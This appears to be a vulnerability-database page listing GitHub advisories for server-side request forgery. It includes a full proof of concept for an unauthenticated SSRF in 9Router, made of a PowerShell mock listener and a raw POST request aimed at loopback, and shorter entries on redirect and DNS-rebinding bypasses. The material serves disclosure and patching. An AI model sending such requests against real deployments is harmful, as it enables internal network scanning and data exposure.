Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6005 vulnerabilities reference this CWE, most recent first.

GHSA-8G4W-4FFG-8VGX

Vulnerability from github – Published: 2026-08-17 21:58 – Updated: 2026-08-17 21:58
VLAI
Summary
9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the /api/auth/oidc/test endpoint. The application accepts a user-controlled URL string through the issuerUrl parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.

Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.

Depending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:

  1. Port Scanning / Blind SSRF (Non-OIDC structures): Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like "Unexpected token..."), allowing internal network reconnaissance.
  2. Full Data Feed Manipulation (OIDC matching structures): If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.

Vulnerable Code Details

  • Classification: VE-Class 4 — OIDC SSRF via issuerUrl (Unauthenticated)
  • File Path: src/app/api/auth/oidc/test/route.js
  • Vulnerable Logic: The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.
// Vulnerable implementation wrapper inside the route handler
const discovery = await fetchOidcDiscovery(issuerUrl);
// Behind the scenes, this executes a direct dynamic outbound request:
// -> fetch(`${issuerUrl}/.well-known/openid-configuration`)

An unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (token_endpoint, jwks_uri) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.


Affected Endpoints

  • Endpoint: /api/auth/oidc/test
  • Method: POST
  • Parameter: issuerUrl
  • Impacted Feature: OIDC Authentication Configuration Test

Impact

An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:

  • Conduct internal network topology discovery and port scanning against the hosting infrastructure (127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
  • Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.

Proof of Concept & Reproducing Steps

Step 1: Set up the Verification Environment

Utilize a local mock listener on an internal port (e.g., Port 80).

Run the following PowerShell script with Administrative privileges to launch the mock listener:

$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")

try {
    $listener.Start()
    Write-Host "=======================================================" -ForegroundColor Cyan
    Write-Host "  MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green
    Write-Host "=======================================================" -ForegroundColor Cyan

    while ($listener.IsListening) {
        $context = $listener.GetContext()
        $request = $context.Request
        Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow

        $jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'

        $response = $context.Response
        $response.StatusCode = 200
        $response.ContentType = "application/json"

        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
        $response.ContentLength64 = $buffer.Length
        $response.OutputStream.Write($buffer, 0, $buffer.Length)
        $response.Close()
        Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green
    }
} catch {
    Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
    if ($listener.IsListening) { $listener.Stop() }
}

Step 2: Triggering the Vulnerability via Burp Suite

Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):

POST /api/auth/oidc/test HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Connection: keep-alive
Content-Length: 54

{
  "issuerUrl": "http://127.0.0.1:80",
  "clientId": "probe_only"
}

Step 3: Objective Analysis of Results

Scenario A: Targeting an Unmatched/Plain Text Port (e.g., Port returning raw strings like "check vul")

The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:

{"error":"Unexpected token 'c', \"check vul\" is not valid JSON"}

Analysis: This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.


Scenario B: Targeting the Valid Mock Port (Port 80 with the script active)

The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:

{
  "ok": true,
  "discoveryOk": true,
  "issuerUrl": "http://127.0.0.1:80",
  "authorizationEndpoint": "http://127.0.0.1/oauth/auth",
  "tokenEndpoint": "http://127.0.0.1/oauth/token",
  "jwksUri": "http://127.0.0.1/oauth/keys"
}

image

Analysis: This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.


Root Cause Analysis

The application logic handles network requests initiated by user input inside /api/auth/oidc/test without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.


Suggested Fix

  1. Implement Access Control: Protect the /api/auth/oidc/test handler with authentication middleware to enforce valid user sessions.

  2. Enforce Protocol Controls: Validate that issuerUrl strictly uses the https:// protocol scheme before performing the fetch operation.

  3. Implement Network Blocklists: Resolve the hostname within issuerUrl on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (127.0.0.0/8, ::1) or internal private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:58:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the `/api/auth/oidc/test` endpoint. The application accepts a user-controlled URL string through the `issuerUrl` parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.\n\nNotably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.\n\nDepending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:\n\n1. **Port Scanning / Blind SSRF (Non-OIDC structures):** Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like \"Unexpected token...\"), allowing internal network reconnaissance.\n2. **Full Data Feed Manipulation (OIDC matching structures):** If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.\n\n---\n\n### Vulnerable Code Details\n\n- **Classification:** VE-Class 4 \u2014 OIDC SSRF via issuerUrl (Unauthenticated)\n- **File Path:** `src/app/api/auth/oidc/test/route.js`\n- **Vulnerable Logic:** The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.\n\n```javascript\n// Vulnerable implementation wrapper inside the route handler\nconst discovery = await fetchOidcDiscovery(issuerUrl);\n// Behind the scenes, this executes a direct dynamic outbound request:\n// -\u003e fetch(`${issuerUrl}/.well-known/openid-configuration`)\n```\n\nAn unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (`token_endpoint`, `jwks_uri`) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.\n\n---\n\n### Affected Endpoints\n\n- **Endpoint:** `/api/auth/oidc/test`\n- **Method:** `POST`\n- **Parameter:** `issuerUrl`\n- **Impacted Feature:** OIDC Authentication Configuration Test\n\n---\n\n### Impact\n\nAn unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:\n\n- Conduct internal network topology discovery and port scanning against the hosting infrastructure (`127.0.0.1`, `10.0.0.0/8`, `192.168.0.0/16`).\n- Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.\n\n---\n\n### Proof of Concept \u0026 Reproducing Steps\n\n#### Step 1: Set up the Verification Environment\n\nUtilize a local mock listener on an internal port (e.g., Port 80).\n\nRun the following PowerShell script with Administrative privileges to launch the mock listener:\n\n```powershell\n$port = 80\n$listener = New-Object System.Net.HttpListener\n$listener.Prefixes.Add(\"http://127.0.0.1:$port/\")\n\ntry {\n    $listener.Start()\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n    Write-Host \"  MOCK OIDC SERVER RUNNING ON PORT 80\" -ForegroundColor Green\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n\n    while ($listener.IsListening) {\n        $context = $listener.GetContext()\n        $request = $context.Request\n        Write-Host \"[+] SSRF Request received for URL: $($request.Url)\" -ForegroundColor Yellow\n        \n        $jsonPayload = \u0027{\"issuer\":\"http://127.0.0.1\",\"authorization_endpoint\":\"http://127.0.0.1/oauth/auth\",\"token_endpoint\":\"http://127.0.0.1/oauth/token\",\"userinfo_endpoint\":\"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY\",\"jwks_uri\":\"http://127.0.0.1/oauth/keys\"}\u0027\n\n        $response = $context.Response\n        $response.StatusCode = 200\n        $response.ContentType = \"application/json\"\n        \n        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)\n        $response.ContentLength64 = $buffer.Length\n        $response.OutputStream.Write($buffer, 0, $buffer.Length)\n        $response.Close()\n        Write-Host \"[*] JSON payload sent back to 9router\" -ForegroundColor Green\n    }\n} catch {\n    Write-Host \"Error starting server on port 80\" -ForegroundColor Red\n} finally {\n    if ($listener.IsListening) { $listener.Stop() }\n}\n```\n\n#### Step 2: Triggering the Vulnerability via Burp Suite\n\nSend the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):\n\n```http\nPOST /api/auth/oidc/test HTTP/1.1\nHost: localhost:3000\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 54\n\n{\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"clientId\": \"probe_only\"\n}\n```\n\n#### Step 3: Objective Analysis of Results\n\n**Scenario A: Targeting an Unmatched/Plain Text Port** (e.g., Port returning raw strings like `\"check vul\"`)\n\nThe server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:\n\n```json\n{\"error\":\"Unexpected token \u0027c\u0027, \\\"check vul\\\" is not valid JSON\"}\n```\n\n\u003e **Analysis:** This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.\n\n---\n\n**Scenario B: Targeting the Valid Mock Port** (Port 80 with the script active)\n\nThe backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:\n\n```json\n{\n  \"ok\": true,\n  \"discoveryOk\": true,\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"authorizationEndpoint\": \"http://127.0.0.1/oauth/auth\",\n  \"tokenEndpoint\": \"http://127.0.0.1/oauth/token\",\n  \"jwksUri\": \"http://127.0.0.1/oauth/keys\"\n}\n```\n\u003cimg width=\"1513\" height=\"651\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6621f418-7a0d-4660-b301-ad37468d8d7a\" /\u003e\n\n\u003e **Analysis:** This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.\n\n---\n\n### Root Cause Analysis\n\nThe application logic handles network requests initiated by user input inside `/api/auth/oidc/test` without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.\n\n---\n\n### Suggested Fix\n\n1. **Implement Access Control:** Protect the `/api/auth/oidc/test` handler with authentication middleware to enforce valid user sessions.\n\n2. **Enforce Protocol Controls:** Validate that `issuerUrl` strictly uses the `https://` protocol scheme before performing the fetch operation.\n\n3. **Implement Network Blocklists:** Resolve the hostname within `issuerUrl` on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (`127.0.0.0/8`, `::1`) or internal private addresses (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).",
  "id": "GHSA-8g4w-4ffg-8vgx",
  "modified": "2026-08-17T21:58:43Z",
  "published": "2026-08-17T21:58:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-8g4w-4ffg-8vgx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint"
}

GHSA-8G54-W78W-G2MH

Vulnerability from github – Published: 2022-05-17 00:00 – Updated: 2022-05-26 00:01
VLAI
Details

A remote authenticated server-side request forgery (ssrf) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manage that address this security vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-23668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-16T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A remote authenticated server-side request forgery (ssrf) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manage that address this security vulnerability.",
  "id": "GHSA-8g54-w78w-g2mh",
  "modified": "2022-05-26T00:01:20Z",
  "published": "2022-05-17T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23668"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-007.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8G7G-HMWM-6RV2

Vulnerability from github – Published: 2026-05-08 17:00 – Updated: 2026-05-08 17:00
VLAI
Summary
n8n-mcp affected by path traversal, redirect-following SSRF, and telemetry payload exposure
Details

Impact

n8n-mcp versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:

  1. Caller-supplied identifiers were not validated before being used as URL path segments by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including DISABLED_TOOLS).

  2. Validated webhook, form, and chat trigger URLs followed redirects. A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.

  3. Mutation telemetry stored unredacted operation payloads. On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.

Severity

CVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.

Patched versions

Upgrade to n8n-mcp >= 2.50.1.

Workarounds

  • For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.
  • For issue (3): set N8N_MCP_TELEMETRY_DISABLED=true in the environment before starting the server, or run npx n8n-mcp telemetry disable once.

Credit

Reported by @cybercraftsolutionsllc.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.50.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:00:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\n`n8n-mcp` versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:\n\n1. **Caller-supplied identifiers were not validated before being used as URL path segments** by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including `DISABLED_TOOLS`).\n\n2. **Validated webhook, form, and chat trigger URLs followed redirects.** A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.\n\n3. **Mutation telemetry stored unredacted operation payloads.** On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.\n\n## Severity\n\nCVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.\n\n## Patched versions\n\nUpgrade to `n8n-mcp \u003e= 2.50.1`.\n\n## Workarounds\n\n- For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.\n- For issue (3): set `N8N_MCP_TELEMETRY_DISABLED=true` in the environment before starting the server, or run `npx n8n-mcp telemetry disable` once.\n\n## Credit\n\nReported by @cybercraftsolutionsllc.",
  "id": "GHSA-8g7g-hmwm-6rv2",
  "modified": "2026-05-08T17:00:09Z",
  "published": "2026-05-08T17:00:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-8g7g-hmwm-6rv2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/commit/1cfe9c6bddb4b1634e6e23323c18ea35fd196999"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/czlonkowski/n8n-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.50.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "n8n-mcp affected by path traversal, redirect-following SSRF, and telemetry payload exposure"
}

GHSA-8G7Q-H2WM-Q974

Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36
VLAI
Details

LLaMA-Factory contains a server-side request forgery vulnerability in the OpenAI-compatible API multimodal media URL handler that allows unauthenticated attackers to bypass SSRF validation. The check_ssrf_url guard validates URLs once but requests.get follows redirects and re-resolves DNS without re-validation, enabling attackers to use HTTP redirects or DNS rebinding to access internal addresses and cloud metadata endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T15:17:45Z",
    "severity": "HIGH"
  },
  "details": "LLaMA-Factory contains a server-side request forgery vulnerability in the OpenAI-compatible API multimodal media URL handler that allows unauthenticated attackers to bypass SSRF validation. The check_ssrf_url guard validates URLs once but requests.get follows redirects and re-resolves DNS without re-validation, enabling attackers to use HTTP redirects or DNS rebinding to access internal addresses and cloud metadata endpoints.",
  "id": "GHSA-8g7q-h2wm-q974",
  "modified": "2026-09-04T15:36:15Z",
  "published": "2026-09-04T15:36:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory/issues/10646"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory/blob/v0.9.5/src/llamafactory/api/chat.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory/blob/v0.9.5/src/llamafactory/api/common.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/llama-factory-ssrf-guard-bypass-via-redirect-and-dns-rebinding"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8G8H-V9PM-R6XG

Vulnerability from github – Published: 2026-09-01 12:31 – Updated: 2026-09-01 12:31
VLAI
Details

Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-01T12:17:18Z",
    "severity": "MODERATE"
  },
  "details": "Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy\u0027s apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. Because policy context data (including contents of Kubernetes resources such as secrets) is sent in these requests, an attacker can exfiltrate sensitive cluster data.",
  "id": "GHSA-8g8h-v9pm-r6xg",
  "modified": "2026-09-01T12:31:49Z",
  "published": "2026-09-01T12:31:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15613"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kyverno-before-1.13.4-ssrf-via-service-call"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8G9J-3HRR-2HVM

Vulnerability from github – Published: 2026-03-17 06:31 – Updated: 2026-03-17 06:31
VLAI
Details

A weakness has been identified in frdel/agent0ai agent-zero 0.9.7. This affects the function handle_pdf_document of the file python/helpers/document_query.py. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-17T04:16:24Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in frdel/agent0ai agent-zero 0.9.7. This affects the function handle_pdf_document of the file python/helpers/document_query.py. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8g9j-3hrr-2hvm",
  "modified": "2026-03-17T06:31:32Z",
  "published": "2026-03-17T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4308"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989#poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.351338"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.351338"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.773950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8GGF-R3VM-P3JC

Vulnerability from github – Published: 2026-04-20 06:31 – Updated: 2026-04-28 23:20
VLAI
Summary
AgentScope vulnerable to Server-Side Request Forgery
Details

A security flaw has been discovered in modelscope agentscope up to 1.0.18. This affects the function _get_bytes_from_web_url of the file src/agentscope/_utils/_common.py of the component Internal Service. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "agentscope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T23:20:08Z",
    "nvd_published_at": "2026-04-20T05:16:15Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in modelscope agentscope up to 1.0.18. This affects the function _get_bytes_from_web_url of the file src/agentscope/_utils/_common.py of the component Internal Service. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8ggf-r3vm-p3jc",
  "modified": "2026-04-28T23:20:08Z",
  "published": "2026-04-20T06:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6605"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/ced2d438ae79a5a11cea663c1ba2c954"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentscope-ai/agentscope"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/792225"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358240"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358240/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AgentScope vulnerable to Server-Side Request Forgery"
}

GHSA-8GM5-JF6F-36WC

Vulnerability from github – Published: 2026-03-25 21:30 – Updated: 2026-03-25 21:30
VLAI
Details

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty is vulnerable to server-side request forgery (SSRF). This may allow remote attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T21:16:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty is vulnerable to server-side request forgery (SSRF). This may allow remote attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-8gm5-jf6f-36wc",
  "modified": "2026-03-25T21:30:36Z",
  "published": "2026-03-25T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1561"
    },
    {
